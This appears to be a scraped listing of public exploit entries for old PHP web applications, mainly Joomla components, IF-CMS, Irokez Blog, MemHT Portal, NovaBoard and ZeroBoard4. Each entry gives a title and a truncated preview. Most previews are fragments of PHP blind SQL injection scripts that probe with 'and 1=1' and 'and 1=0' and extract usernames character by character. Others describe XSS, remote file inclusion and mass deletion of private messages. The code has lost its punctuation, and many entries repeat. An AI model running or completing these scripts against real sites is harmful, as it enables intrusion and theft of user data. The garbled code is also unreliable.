Joomla! Component com_iJoomla_archive - Blind SQL Injection

Joomla! Component comiJoomlaarchive - Blind SQL Injection 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."/index.php?option=comijoomlaarchive&task=archive&searcharchive=1&act=search&catid=".$userid."+and+1=1"; echo "\nExploiting:\n"; $w =...

Joomla com_ijoomla_archive Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ====================================================== Joomla comijoomlaarchive Blind SQL Injection Exploit ====================================================== 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r =...

Joomla! Component com_iJoomla_archive - Blind SQL Injection

1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."/index.php?option=comijoomlaarchive&task=archive&searcharchive=1&act=search&catid=".$userid."+and+1=1"; echo "\nExploiting:\n"; $w =...

Joomla com_digistore (pid) Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' Joomla comdigistore pid Blind SQL Injection Exploit === Cyb3R-1sT === cyb3r-1st at hormail.com inject0r5 t3am : Usage : php file.php "http://site/index.php?option=comdigistore&task=showproduct&pid=1" : Sp.GrEetZ : All...

Joomla com_digistore (pid) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ====================================================== Joomla comdigistore pid Blind SQL Injection Exploit ====================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 ...

Joomla Digistore Blind SQL Injection

1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge =...

Joomla! Component com_digistore - pid Blind SQL Injection

Joomla! Component comdigistore - pid Blind SQL Injection 1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1...

Joomla! Component com_digistore - 'pid' Blind SQL Injection

1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge = strlenfilegetcontents$url."+and+asciisubstri...

Irokez BLog 0.7.3.2 (XSS/RFI/BSQL) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ================================================================== Irokez BLog 0.7.3.2 XSS/RFI/BSQL Multiple Remote Vulnerabilities ==================================================================...

irokez blog 0.7.3.2 - Cross-Site Scripting Remote File Inclusion Blind SQL Injection

irokez blog 0.7.3.2 - Cross-Site Scripting Remote File Inclusion Blind SQL Injection ================================================================================ || Irokez Blog BLIND SQL-INJECTION, INCLUDE, ACTIVE XSS...

irokez blog 0.7.3.2 - Cross-Site Scripting / Remote File Inclusion / Blind SQL Injection

================================================================================ || Irokez Blog BLIND SQL-INJECTION, INCLUDE, ACTIVE XSS ================================================================================ Application: Irokez Blog ------------ Website: http://irokez.org --------...

MemHT Portal <= 4.0.1 (pvtmsg) Delete All Private Messages Exploit

Exploit for unknown platform in category web applications ================================================================== MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value...

NovaBoard 1.0.0 File Upload / LFI / SQL Injection

=============================================================================================== Found : brainpillow Dork : "Powered by NovaBoard v1.0.0" Visit : brainpillow.cc, forum.antichat.ru, raz0r.name Mail : [email protected]...

MemHT Portal 4.0.1 - Delete All Private Messages

!/usr/bin/perl MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value"; ? ok then foreach $POST'deletenewpm' as $value deletenewpm= $value ; so if we send a evil code like this: 1...

ZeroBoard4 pl8 (07.12.17) Multiple Remote/Local Vulnerability

No description provided by source. ZeroBoard4 pl8 07.12.17 Multiple Remote/Local Vulnerability bY [email protected] thx to : Flyh4t / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL...

IF-CMS 2.0 - id Blind SQL Injection

IF-CMS 2.0 - id Blind SQL Injection --+++=======================================================+++-- --+++====== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS ". "\n+ Ex. : php xpl.php localhost /IF-CMS root". "\n\n"; exit ; if $argc != 4 us...

IF-CMS 2.0 Blind SQL Injection

--+++=======================================================+++-- --+++====== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS ". "\n+ Ex. : php xpl.php localhost /IF-CMS root". "\n\n"; exit ; if $argc != 4 usage ; $h...

IF-CMS <= 2.0 (frame.php id) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS = 2.0 Blind SQL Injection Exploit". "\n+ Author : darkjoker". "\n+ Site : http://darkjoker.net23.net". "\n+...

IF-CMS 2.0 - 'id' Blind SQL Injection

--+++=======================================================+++-- --+++====== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS ". "\n+ Ex. : php xpl.php localhost /IF-CMS root". "\n\n"; exit ; if $argc != 4 usage ; $hostname = $argv 1; $path...

ZeroBoard4 pl8 (07.12.17) Multiple Remote Vulnerabilities

No description provided by source. ZeroBoard4 pl8 07.12.17 Multiple Remote/Local Vulnerability bY [email protected] thx to : Flyh4t / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL...